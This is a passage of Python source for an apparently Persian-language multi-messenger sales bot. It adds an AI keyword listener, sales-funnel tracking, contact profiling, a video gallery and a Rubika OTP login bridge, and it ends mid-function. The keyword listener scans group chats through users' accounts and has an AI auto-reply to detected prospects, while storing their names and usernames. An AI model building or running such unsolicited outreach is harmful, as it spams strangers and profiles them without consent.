            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("ویدیو گالری", "مرحله ۱ از ۱", "لینک مستقیم پیام ویدیو را بفرست", "لینک پیام ویدیو از همان پلتفرم باشد"), _IKB([[('❌ لغو', 'cancel', 'danger')]]))
        if data_s == f"{GVIDEO_PREFIX}remove":
            # Delete current user's video rows. Safe and idempotent.
            _DB().execute("DELETE FROM trx_apk_gallery_video WHERE user_id=?", (uid,))
            _DB().execute("DELETE FROM trx_apk_video_quota WHERE user_id=?", (uid,))
            return await _safe_edit(chat_id, msg_id, "✓ ویدیو گالری حذف شد.", trx.ai_advanced_menu(lang, uid))
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][gvideo_dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در ویدیو گالری.", trx.ai_advanced_menu(lang, uid))
    return None


async def _gvideo_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt:
        return None
    s = trx.state.get(uid)
    if not s or s.get("state") != "apkgallery_video":
        return None
    try:
        ok, info, row = await _gvideo_save(uid, int(s["account_id"]), s["platform"], txt)
        if not ok:
            return await _BOT().send(chat_id, f"❌ {info}")
        trx.state.pop(uid)
        return await _BOT().send(chat_id, "✓ ویدیو ثبت شد.", reply_markup=trx.ai_advanced_menu(trx.get_lang(uid) or "fa", uid))
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][gvideo_on_msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id, "⚠️ خطا در ثبت ویدیو.")


# ---------------------------------------------------------------------------
# 6) KEYWORD LISTENER — fix account parser and __all__ fallback
# ---------------------------------------------------------------------------

async def _kwl_should_reply(uid, aid, platform, group_id, sender_id, message_text):
    try:
        if not sender_id:
            return False, ""
        if len(str(message_text or "").split()) < 3:
            return False, ""
        stripped = re.sub(r"[\U0001F300-\U0001FAFF\U00002600-\U000027BF\s]+", "", str(message_text or ""))
        if not stripped:
            return False, ""
        cfg = _DB().fetchone(
            "SELECT * FROM trx_keyword_listener WHERE user_id=? AND account_id=? AND platform=? AND group_id=?",
            (uid, aid, platform, str(group_id)),
        )
        if not cfg or not int(cfg["enabled"] or 0):
            cfg = _DB().fetchone(
                "SELECT * FROM trx_keyword_listener WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'",
                (uid, aid, platform),
            )
        if not cfg or not int(cfg["enabled"] or 0):
            return False, ""
        cooldown = max(0, int(cfg["reply_cooldown"] or 300))
        cap = max(1, int(cfg["daily_reply_cap"] or 10))
        last = cfg["last_reply_at"]
        if last:
            try:
                if (datetime.utcnow() - datetime.fromisoformat(str(last))).total_seconds() < cooldown:
                    return False, ""
            except Exception:
                pass
        since = (datetime.utcnow() - timedelta(hours=24)).isoformat()
        used = _DB().fetchone(
            "SELECT COUNT(*) c FROM trx_keyword_reply_log WHERE user_id=? AND account_id=? AND platform=? AND group_id=? AND created_at>? AND success=1",
            (uid, aid, platform, str(group_id), since),
        )
        used_count = int(used["c"] or 0) if used else 0
        if used_count >= cap:
            return False, ""
        same = _DB().fetchone(
            "SELECT COUNT(*) c FROM trx_keyword_reply_log WHERE user_id=? AND account_id=? AND platform=? AND peer_id=? AND created_at>? AND success=1",
            (uid, aid, platform, str(sender_id), since),
        )
        if same and int(same["c"] or 0) >= 1:
            return False, ""
        kb = trx._trx_ai_get_kb(uid)[:1500]
        sys_prompt = (
            "You decide if a group message is relevant to the seller product. "
            "Return strict JSON {\"relevant\": \"yes\"|\"no\", \"keyword\": \"...\"}."
        )
        reply = await _AI().chat(
            [{"role": "system", "content": sys_prompt}, {"role": "user", "content": f"Product knowledge:\n{kb}\n\nMessage: {str(message_text)[:500]}"}],
            uid=uid, account_id=aid, action_type="kwl_detect", temperature=0.1, max_tokens=80,
        )
        match = re.search(r"\{.*\}", reply or "", re.S)
        if not match:
            return False, ""
        data = json.loads(match.group(0))
        if str(data.get("relevant", "no")).lower() != "yes":
            return False, ""
        return True, str(data.get("keyword", ""))[:80]
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][kwl_should_reply] {_mask(str(exc))}")
        return False, ""


async def _kwl_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(KWL_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data_s == f"{KWL_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("رصد کلمات کلیدی", ["پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", f"{KWL_PREFIX}plat:rubika", "primary"), ("🔴 سروش پلاس", f"{KWL_PREFIX}plat:soroush", "danger")],
                [("🟡 بله", f"{KWL_PREFIX}plat:bale", "primary"), ("🟦 تلگرام", f"{KWL_PREFIX}plat:telegram", "primary")],
                [("🟩 شاد", f"{KWL_PREFIX}plat:shad", "success")],
                [("↩️ بازگشت", "ai", "primary")],
            ]))
        if data_s.startswith(f"{KWL_PREFIX}plat:"):
            platform = data_s.split(":", 1)[1].strip().lower()
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (uid, platform)) if platform in ALL_PLATFORMS else []
            buttons = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"{KWL_PREFIX}acc:{int(r['id'])}:{platform}", "primary")] for r in rows]
            buttons.append([("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(platform, lang)}", ["یک اکانت را انتخاب کن"]), _IKB(buttons))
        if data_s.startswith(f"{KWL_PREFIX}acc:"):
            aid, platform = _trxj_parse_account_callback(data_s, KWL_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, platform):
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", trx.ai_advanced_menu(lang, uid))
            _DB().execute(
                "INSERT OR IGNORE INTO trx_keyword_listener(user_id,account_id,platform,group_id,enabled,scan_enabled,reply_cooldown,daily_reply_cap,created_at) VALUES(?,?,?,?,1,1,300,10,?)",
                (uid, aid, platform, "__all__", trx.now()),
            )
            trx.state.set(uid, "kwl_ready", account_id=aid, platform=platform)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("رصد کلمات کلیدی", [f"پلتفرم: {_platform_label(platform, lang)}", f"اکانت: #{aid}", "وضعیت: 🟢 فعال"]), _IKB([
                [("🔴 خاموش کردن", f"{KWL_PREFIX}disable", "danger")],
                [("⚙️ تنظیمات", f"{KWL_PREFIX}settings", "primary")],
                [("📋 گروه‌ها", f"{KWL_PREFIX}groups", "primary")],
                [("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")],
            ]))
        if data_s in (f"{KWL_PREFIX}enable", f"{KWL_PREFIX}disable"):
            s = trx.state.get(uid)
            if not s:
                return await _safe_edit(chat_id, msg_id, "❌ تنظیمات منقضی شده.", trx.ai_advanced_menu(lang, uid))
            val = 1 if data_s.endswith("enable") else 0
            _DB().execute("UPDATE trx_keyword_listener SET enabled=? WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'", (val, uid, int(s["account_id"]), s["platform"]))
            return await _safe_edit(chat_id, msg_id, "✓ وضعیت رصد تغییر کرد.", trx.ai_advanced_menu(lang, uid))
        if data_s == f"{KWL_PREFIX}settings":
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("تنظیمات رصد", ["Cooldown و سقف روز را انتخاب کن"]), _IKB([
                [("60s", f"{KWL_PREFIX}set.cool:60", "primary"), ("300s", f"{KWL_PREFIX}set.cool:300", "primary"), ("600s", f"{KWL_PREFIX}set.cool:600", "primary")],
                [("سقف 10", f"{KWL_PREFIX}set.cap:10", "primary"), ("سقف 50", f"{KWL_PREFIX}set.cap:50", "primary"), ("سقف 100", f"{KWL_PREFIX}set.cap:100", "primary")],
                [("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")],
            ]))
        if data_s.startswith(f"{KWL_PREFIX}set.cool:"):
            s = trx.state.get(uid)
            if s:
                _DB().execute("UPDATE trx_keyword_listener SET reply_cooldown=? WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'", (int(data_s.split(":", 1)[1]), uid, int(s["account_id"]), s["platform"]))
            return await _safe_edit(chat_id, msg_id, "✓ Cooldown ذخیره شد.", trx.ai_advanced_menu(lang, uid))
        if data_s.startswith(f"{KWL_PREFIX}set.cap:"):
            s = trx.state.get(uid)
            if s:
                _DB().execute("UPDATE trx_keyword_listener SET daily_reply_cap=? WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'", (int(data_s.split(":", 1)[1]), uid, int(s["account_id"]), s["platform"]))
            return await _safe_edit(chat_id, msg_id, "✓ سقف روزانه ذخیره شد.", trx.ai_advanced_menu(lang, uid))
    except Exception as exc:
        trx.state.pop(uid)
        _LOG_ERR(f"[TRX_J][kwl_dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در رصد. دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
    return None


# ---------------------------------------------------------------------------
# 7) PROFILE + FUNNEL + LTM + LEARN — runtime integration across platforms
# ---------------------------------------------------------------------------

_TRXJ_CONTEXT = {}
_TRXJ_CONTEXT_TTL = 600
_TRXJ_LEARN_PENDING = {}


def _trxj_context_for(uid, aid, peer, platform=None, user_text=None):
    key = (int(uid), int(aid), str(peer))
    item = _TRXJ_CONTEXT.get(key)
    if not item or (time.time() - float(item.get("ts", 0))) > _TRXJ_CONTEXT_TTL:
        item = {"ts": time.time(), "platform": str(platform or "rubika"), "user_text": str(user_text or ""), "profile": ""}
        _TRXJ_CONTEXT[key] = item
    else:
        if platform:
            item["platform"] = str(platform).lower()
        if user_text is not None:
            item["user_text"] = str(user_text)
        item["ts"] = time.time()
    _TRXJ_CONTEXT[(int(uid), int(aid))] = item
    return item


async def _trxj_capture_profile(event, uid, aid, platform, peer, user_text):
    item = _trxj_context_for(uid, aid, peer, platform, user_text)
    try:
        profile = await _profile_text_for_ai(uid, aid, platform, peer, event)
    except Exception:
        profile = ""
    if not profile:
        try:
            sender = getattr(event, "sender", None) or getattr(event, "from_user", None)
            if sender:
                first = str(getattr(sender, "first_name", "") or "").strip()
                last = str(getattr(sender, "last_name", "") or "").strip()
                username = str(getattr(sender, "username", "") or "").strip()
                name = " ".join([x for x in (first, last) if x]).strip()
                chunks = []
                if name:
                    chunks.append(f"نام: {name}")
                if username:
                    chunks.append(f"یوزرنیم: @{username.lstrip('@')}")
                profile = " | ".join(chunks)
        except Exception:
            pass
    item["profile"] = profile[:800]
    return item


def _trxj_detect_platform(aid, fallback="rubika"):
    try:
        row = _DB().fetchone("SELECT service FROM accounts WHERE id=?", (int(aid),))
        if row and row["service"]:
            return str(row["service"]).lower()
    except Exception:
        pass
    return str(fallback or "rubika").lower()


_ORIG_DEEP_AI_SYSTEM_TRXJ = trx._trx_ai_system


def _trxj_ai_system(uid, aid, mode="reply", extra="", funnel_peer_id=None, event=None, user_text=None):
    """Inject persona/profile/funnel/LTM/learned patterns across every AI context."""
    platform = _trxj_detect_platform(aid, _extract_platform_from_extra(extra) or "rubika")
    peer = _extract_peer_from_extra(extra) or (str(funnel_peer_id) if funnel_peer_id is not None else "")
    if event is not None and not peer:
        try:
            peer = str(trx._trx_peer_key(event, f"{platform}:{aid}") or "")
        except Exception:
            peer = ""
    if event is not None and peer:
        try:
            _trxj_context_for(uid, aid, str(peer), platform, user_text)
            if user_text is not None:
                _TRXJ_CONTEXT[(int(uid), int(aid), str(peer))]["user_text"] = str(user_text)
        except Exception:
            pass
    ctx = None
    if peer:
        ctx = _TRXJ_CONTEXT.get((int(uid), int(aid), str(peer)))
    if ctx is None:
        ctx = _TRXJ_CONTEXT.get((int(uid), int(aid)))
    effective_user_text = str(user_text if user_text is not None else ((ctx or {}).get("user_text") or ""))
    profile = str((ctx or {}).get("profile") or "")
    extra_aug = str(extra or "")
    if platform and f"Platform=" not in extra_aug:
        extra_aug += f"\nPlatform={platform}"
    if peer and "Peer=" not in extra_aug:
        extra_aug += f"\nPeer={peer}"
    if effective_user_text and "UserText=" not in extra_aug:
        extra_aug += f"\nUserText={effective_user_text[:500]}"
    base = _ORIG_DEEP_AI_SYSTEM_TRXJ(uid, aid, mode, extra_aug)
    blocks = []
    if profile and peer:
        blocks.append("═══ 👤 اطلاعات مخاطب ═══\n" + profile)
    if peer:
        try:
            patterns = _learn_get_relevant(uid, aid, platform, effective_user_text, limit=5) if effective_user_text else []
            if patterns:
                _TRXJ_LEARN_PENDING[(int(uid), int(aid), str(peer))] = [int(p["id"]) for p in patterns if p.get("id")]
                if "الگوهای یادگرفته‌شده" not in base:
                    blocks.append(_learn_format_for_ai(patterns))
        except Exception:
            pass
    if blocks:
        return base + "\n\n" + "\n\n".join(blocks)
    return base


trx._trx_ai_system = _trxj_ai_system


def _trxj_touch_funnel(uid, aid, platform, peer, user_text):
    """Create/update funnel row once per inbound message, preserving stage."""
    stage, row = _funnel_get(uid, aid, platform, peer)
    stamp = trx.now()
    try:
        if row is None:
            _DB().execute(
                "INSERT OR IGNORE INTO trx_sales_funnel(user_id,account_id,platform,peer_id,stage,stage_score,last_stage_change,last_interaction,total_messages,created_at,updated_at) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                (uid, aid, platform, str(peer), "NEW_LEAD", 0, stamp, stamp, 1, stamp, stamp),
            )
        else:
            _DB().execute(
                "UPDATE trx_sales_funnel SET last_interaction=?, total_messages=total_messages+1, updated_at=? WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
                (stamp, stamp, uid, aid, platform, str(peer)),
            )
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][funnel_touch] {_mask(str(exc))}")


async def _trxj_funnel_classify(uid, aid, platform, peer, user_text, ai_reply):
    try:
        current, _ = _funnel_get(uid, aid, platform, peer)
        mem = _memory_load(uid, aid, str(peer), 10)
        mem_text = "\n".join(f"{m.get('role')}: {m.get('content', '')[:200]}" for m in mem[-8:])
        prompt = (
            f"Previous stage: {current}\nRecent conversation:\n{mem_text}\n\n"
            f"User: {user_text[:600]}\nAI: {ai_reply[:600]}\n\n"
            "Return strict JSON {\"stage\": \"NEW_LEAD|INTERESTED|EVALUATING|NEGOTIATING|CUSTOMER|ADVOCATE|LOST\", \"score\": 0-100}."
        )
        result = await _AI().chat(
            [{"role": "system", "content": "Classify the sales funnel stage; do not invent facts."}, {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="funnel_analyze", temperature=0.1, max_tokens=100,
        )
        match = re.search(r"\{.*\}", result or "", re.S)
        if not match:
            return current
        data = json.loads(match.group(0))
        stage = str(data.get("stage") or current).upper()
        if stage not in FUNNEL_STAGES:
            stage = current
        try:
            score = max(0, min(100, int(data.get("score") or 0)))
        except Exception:
            score = 0
        if stage != current or score:
            stamp = trx.now()
            _DB().execute(
                "UPDATE trx_sales_funnel SET stage=?, stage_score=?, last_stage_change=?, last_interaction=?, updated_at=? WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
                (stage, score, stamp, stamp, stamp, uid, aid, platform, str(peer)),
            )
        if stage in ("CUSTOMER", "ADVOCATE") and current not in ("CUSTOMER", "ADVOCATE") and _learn_is_enabled(uid):
            _create_task(_learn_analyze_win(uid, aid, platform, peer))
            pending = list(_TRXJ_LEARN_PENDING.get((int(uid), int(aid), str(peer)), []))
            for pattern_id in pending:
                _learn_mark_worked(int(pattern_id))
        return stage
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][funnel_classify] {_mask(str(exc))}")
        return current


# Add the missing mark_worked implementation required by the TXT flow.
def _learn_mark_worked(pattern_id):
    try:
        _DB().execute(
            "UPDATE trx_learned_patterns SET times_worked=times_worked+1 WHERE id=?",
            (int(pattern_id),),
        )
    except Exception:
        pass


async def _trxj_post_ai_features(uid, aid, platform, peer, user_text):
    try:
        rows = _DB().fetchall(
            "SELECT role,text FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=? ORDER BY id DESC LIMIT 12",
            (uid, aid, str(peer)),
        )
        ai_reply = ""
        for row in rows:
            if str(row["role"]) == "assistant":
                ai_reply = str(row["text"] or "")
                break
        _trxj_touch_funnel(uid, aid, platform, peer, user_text)
        if ai_reply:
            await _trxj_funnel_classify(uid, aid, platform, peer, user_text, ai_reply)
        pending = _TRXJ_LEARN_PENDING.pop((int(uid), int(aid), str(peer)), [])
        for pattern_id in pending:
            _learn_mark_used(int(pattern_id))
        # Every 10+ messages: refresh 2-day long-term memory in background.
        try:
            count_row = _DB().fetchone(
                "SELECT COUNT(*) c FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=?",
                (uid, aid, str(peer)),
            )
            msg_count = int(count_row["c"] or 0) if count_row else 0
            if msg_count >= 10 and (msg_count % 10 == 0):
                _create_task(_ltm_summarize(uid, aid, platform, peer))
        except Exception:
            pass
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][post_ai] {_mask(str(exc))}")


# ---------------------------------------------------------------------------
# 8) LIVE HANDLER — context capture for every supported platform
# ---------------------------------------------------------------------------

_TRXJ_LIVE_BASE = _patch_live_handler


async def _trxj_live_handler(event, uid, service, aid):
    platform = str(service or _trxj_detect_platform(aid, "rubika")).lower()
    peer = ""
    text_value = ""
    try:
        text_value = str(trx._trx_extract_event_text(event) or "").strip()
    except Exception:
        text_value = str(getattr(event, "raw_text", "") or "").strip()
    try:
        peer = str(trx._trx_peer_key(event, f"{platform}:{aid}") or "")
    except Exception:
        peer = f"{platform}:{aid}"
    if text_value and not text_value.startswith("/"):
        try:
            await _trxj_capture_profile(event, uid, aid, platform, peer, text_value)
        except Exception:
            pass
    # Never process outbound/self events as inbound group/PV interactions.
    try:
        if bool(getattr(event, "is_me", False)) or bool(getattr(event, "out", False)):
            return None
    except Exception:
        pass
    try:
        result = await _TRXJ_LIVE_BASE(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][live_base] {_mask(str(exc))}")
        result = None
    if text_value and peer and not text_value.startswith("/"):
        try:
            await _trxj_post_ai_features(uid, aid, platform, peer, text_value)
        except Exception:
            pass
    return result


for _trxj_name in (
    "_trx01_event_handler",
    "_trx_event_handler",
    "_trx_event_handler_v9",
    "_trx_event_handler_v10",
    "_trx_event_handler_v11",
    "_trx115_event_handler_v14",
):
    try:
        setattr(trx, _trxj_name, _trxj_live_handler)
    except Exception:
        pass


# ---------------------------------------------------------------------------
# 9) AI MENU — hide legacy APK button, keep only apkfix.start
# ---------------------------------------------------------------------------

_TRXJ_AI_MENU_BASE = trx.ai_advanced_menu


def _trxj_ai_menu(lang, uid):
    try:
        base = _TRXJ_AI_MENU_BASE(lang, uid)
        rows = []
        seen = set()
        for row in (base or {}).get("inline_keyboard", []):
            new_row = []
            for btn in row:
                if not isinstance(btn, dict):
                    new_row.append(btn)
                    continue
                cb = btn.get("callback_data")
                # Hide the old duplicate APK entry entirely.
                if cb == "ai.apk.send":
                    continue
                if cb in seen:
                    continue
                seen.add(cb)
                new_row.append(btn)
            if new_row:
                rows.append(new_row)
        # Ensure the canonical new entry exists exactly once.
        if "apkfix.start" not in seen:
            insert_at = len(rows)
            for i, row in enumerate(rows):
                if any(isinstance(btn, dict) and btn.get("callback_data") == "menu" for btn in row):
                    insert_at = i
                    break
            rows.insert(insert_at, [{"text": "📤 ارسال APK", "callback_data": "apkfix.start", "style": "primary"}])
        return {"inline_keyboard": rows}
    except Exception as exc:
        _LOG_WARN(f"[TRX_J][ai_menu] {_mask(str(exc))}")
        return _TRXJ_AI_MENU_BASE(lang, uid)


trx.ai_advanced_menu = _trxj_ai_menu


# ---------------------------------------------------------------------------
# 10) FINAL DISPATCH / MSG CHAINS — latest layer wins
# ---------------------------------------------------------------------------

_TRXJ_DISPATCH_BASE = trx.dispatch_cb
_TRXJ_ON_MSG_BASE = trx.on_msg


async def _trxj_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        # Admin callbacks must be routed first, because the main dispatcher calls
        # admin_dispatch by its module-global name.
        if data_s.startswith("adm."):
            return await trx.admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data_s)
        if data_s == "ai.bulk.contacts" or data_s.startswith(BULK_PREFIX):
            result = await _trxq11bulk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if result is not None:
                return result
        if data_s.startswith(APKFIX_PREFIX):
            result = await _apkfix_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if result is not None:
                return result
        if data_s.startswith(GVIDEO_PREFIX):
            result = await _gvideo_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if result is not None:
                return result
        if data_s.startswith(GALLERY_PREFIX):
            result = await _gallery_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if result is not None:
                return result
        if data_s.startswith(KWL_PREFIX):
            result = await _kwl_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data_s)
            if result is not None:
                return result
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][dispatch] {_mask(str(exc))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در این بخش. از منوی AI دوباره شروع کن.", trx.ai_advanced_menu(lang, uid))
    return await _TRXJ_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data_s)


async def _trxj_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    if not uid:
        return await _TRXJ_ON_MSG_BASE(msg)
    try:
        # New state machines get first refusal before any legacy handler.
        for fn in (_trxq11bulk_on_msg, _apkfix_on_msg, _gallery_on_msg, _gvideo_on_msg):
            result = await fn(msg)
            if result is not None:
                return result
    except Exception as exc:
        _LOG_ERR(f"[TRX_J][on_msg] {_mask(str(exc))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        chat_id = (msg.get("chat") or {}).get("id")
        if chat_id:
            return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return await _TRXJ_ON_MSG_BASE(msg)


trx.dispatch_cb = _trxj_dispatch_cb
trx.on_msg = _trxj_on_msg


# ---------------------------------------------------------------------------
# 11A) RUBIKA SYNC-BACKEND BRIDGE — isolate blocking rulog calls from the event loop
# ---------------------------------------------------------------------------

async def _trxj_rulog_send_safe(phone):
    """Run potentially blocking rulog Client/sendCode outside the polling loop."""
    try:
        mod = trx._trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if not RulogClient:
            return None, "rulog.Client unavailable"
    except BaseException as exc:
        return None, f"rulog import: {_mask(str(exc))[:200]}"

    loop = asyncio.get_event_loop()
    errors = []

    def _sync_try(platform_name):
        rc = None
        try:
            rc = RulogClient()
            fn = getattr(rc, "sendCode", None)
            if not callable(fn):
                return None, f"{platform_name}: sendCode missing"
            kwargs = {"send_type": True} if platform_name == "android" else {}
            resp = fn(platform_name, phone, **kwargs)
            return (rc, resp), None
        except BaseException as exc:
            return None, f"{platform_name}: {type(exc).__name__}: {str(exc)[:150]}"

    for platform_name in ("android", "web"):
        try:
            result, err = await asyncio.wait_for(
                loop.run_in_executor(None, _sync_try, platform_name),
                timeout=35,
            )
            if result is not None:
                rc, resp = result
                if asyncio.iscoroutine(resp):
                    resp = await asyncio.wait_for(resp, timeout=25)
                ph = _rubika_extract_hash_v20(resp)
                if ph:
                    return {"client": rc, "hash": ph, "platform": platform_name, "backend": "rulog"}, None
                errors.append(f"{platform_name}: no hash: {str(resp)[:150]}")
            elif err:
                errors.append(err)
        except asyncio.TimeoutError:
            errors.append(f"{platform_name}: timeout")
        except BaseException as exc:
            errors.append(f"{platform_name}: {type(exc).__name__}: {str(exc)[:150]}")
    return None, " | ".join(errors)[:600]


# Rebind the legacy v20 flow to the non-blocking rulog bridge above.
_rubika_rulog_send_v20 = _trxj_rulog_send_safe


# ---------------------------------------------------------------------------
# 11) RUBIKA OTP — make every external backend failure non-fatal
# ---------------------------------------------------------------------------

async def _trxj_rubika_send_guard(uid, phone):
    try:
        result = await asyncio.wait_for(_rubika_send_code_v20(uid, phone), timeout=125)
        return result
    except asyncio.TimeoutError:
        try:
            trx.active_clients.pop(uid, None)
        except Exception:
            pass
        return False, "ارسال کد روبیکا بیش از زمان مجاز طول کشید. دوباره تلاش کن."
    except (Exception, SystemExit) as exc:
        try:
            trx.active_clients.pop(uid, None)
        except Exception:
            pass
        _LOG_ERR(f"[RUBIKA] guarded send fail: {_mask(str(exc))}")
        return False, "ارسال کد روبیکا با خطا متوقف شد. دوباره تلاش کن."


async def _trxj_rubika_verify_guard(uid, code):
    try:
        result = await asyncio.wait_for(_rubika_verify_v20(uid, code), timeout=90)
        return result
    except asyncio.TimeoutError:
        return False, "تأیید روبیکا بیش از زمان مجاز طول کشید. دوباره تلاش کن."
    except (Exception, SystemExit) as exc:
        _LOG_ERR(f"[RUBIKA] guarded verify fail: {_mask(str(exc))}")
        return False, "تأیید کد روبیکا با خطا متوقف شد. دوباره تلاش کن."


try:
    trx.SERVICE_HANDLERS["rubika"] = {
        "send": trx._wrap_otp_handler("rubika", _trxj_rubika_send_guard),
        "verify": _trxj_rubika_verify_guard,
    }
    _LOG_INFO("[TRX_J][RUBIKA] final guarded handler installed")
except Exception as exc:
    _LOG_WARN(f"[TRX_J][RUBIKA] handler install fail: {_mask(str(exc))}")


# ---------------------------------------------------------------------------
# 12) DATABASE / BOOT sanity markers
# ---------------------------------------------------------------------------

try:
    _LOG_INFO("[TRX_J] final audit layer loaded")
except Exception:
    pass

# ═══════════════════════════════════════════════════════════════════════════
# 29) FINAL RUN
# ═══════════════════════════════════════════════════════════════════════════

def _run_patch():
    if len(sys.argv) > 1:
        if sys.argv[1] == "--stop":
            try:
                trx._cli_stop()
            except Exception:
                pass
            sys.exit(0)
        if sys.argv[1] == "--status":
            try:
                trx._cli_status()
            except Exception:
                pass
            sys.exit(0)

    print("═" * 70)
    print("  🦖 TRXF2 MASTER PATCH LOADED")
    print(f"  Main file: {_MAIN_PATH}")
    print(f"  Patch file: {os.path.abspath(__file__)}")
    print("  Added features: restart • bulk-fix • apkfix • rubika-v20 • voice")
    print("                  gallery • kwl • funnel • ltm")
    print("                  profile • learn • health • design-system")
    print("═" * 70)

    try:
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(trx.main())
    except KeyboardInterrupt:
        print("\n[!] Interrupted.")
    except SystemExit:
        raise
    except Exception as e:
        print(f"\n[FATAL] {type(e).__name__}: {e}")
        traceback.print_exc(limit=40)


# ============================================================================
# TRX_647 FINAL REPAIR LAYER
# Append-only: fixes the newly reported APK/AI/Gallery/Memory/OTP issues.
# ============================================================================
try:
    from urllib.parse import urlparse, unquote
except Exception:
    urlparse = None
    unquote = lambda x: x
import contextvars

TRX647_BUILD = "2026-09-25-final-ai-apk-gallery-otp-v3"
TRX647_STATE_TTL = 3600
TRX647_MEMORY_TTL_SECONDS = 3600
TRX647_MEMORY_CLEANUP_SECONDS = 300
TRX647_VIDEO_MAX_PER_PEER = 1
TRX647_PHOTO_MAX_PER_PEER = 2
TRX647_CHANNEL_PHOTO_KEY = "channel_photo_enabled:{uid}:{aid}"

_TRX647_APK_STATE = {}
_TRX647_BULK_STATE = {}
_TRX647_GALLERY_STATE = {}
_TRX647_CONTACT_ID = {}
_TRX647_ACTOR_ID = {}
_TRX647_VOICE_KEYS = set()
_TRX647_EVENT_CTX = contextvars.ContextVar("trx647_event_ctx", default=None)
_TRX647_CHANNEL_CTX = contextvars.ContextVar("trx647_channel_ctx", default=None)


def _trx647_now():
    return time.time()


def _trx647_platform(value):
    value = str(value or "").strip().lower()
    return value if value in ALL_PLATFORMS else ""


def _trx647_extract_message_link(msg):
    """Return the actual URL from text/caption or URL entities."""
    if not isinstance(msg, dict):
        return ""
    direct = str(msg.get("text") or msg.get("caption") or "").strip()
    if re.search(r"https?://[^\s<>]+", direct, re.I):
        m = re.search(r"https?://[^\s<>]+", direct, re.I)
        return m.group(0).rstrip(".,؛،)]")
    for key in ("entities", "caption_entities"):
        for ent in (msg.get(key) or []):
            if not isinstance(ent, dict):
                continue
            typ = str(ent.get("type") or "").lower()
            url = ent.get("url")
            if url and (typ == "text_link" or str(url).startswith(("http://", "https://"))):
                return str(url).strip()
    return direct


def _trx647_clear(store, uid):
    try:
        store.pop(int(uid), None)
    except Exception:
        pass


def _trx647_parse_message_link(platform, raw):
    platform = _trx647_platform(platform)
    raw = str(raw or "").strip().strip("<>[]()")
    if not platform or not raw:
        return False, "لینک نامعتبر است.", None, []
    if not re.match(r"^https?://", raw, re.I):
        raw = "https://" + raw
    try:
        p = urlparse(raw)
        host = str(p.hostname or "").lower().rstrip(".")
        parts = [unquote(x) for x in str(p.path or "").split("/") if x]
        query = getattr(p, "query", "") or ""
    except Exception:
        return False, "لینک نامعتبر است.", None, []

    allowed = {
        "rubika": ("rubika.ir",),
        "soroush": ("splus.ir", "splus.me"),
        "bale": ("ble.ir", "bale.ai"),
        "telegram": ("t.me", "telegram.me"),
        "shad": ("shad.ir", "my.shad.ir", "shad.medu.ir"),
    }
    if not any(host == x or host.endswith("." + x) for x in allowed.get(platform, ())):
        return False, f"این لینک برای پلتفرم {_platform_label(platform, 'fa')} نیست.", None, []

    mid = None
    for key in ("message_id", "msg_id", "mid", "id"):
        m = re.search(r"(?:^|&)" + re.escape(key) + r"=(\d+)(?:&|$)", query)
        if m:
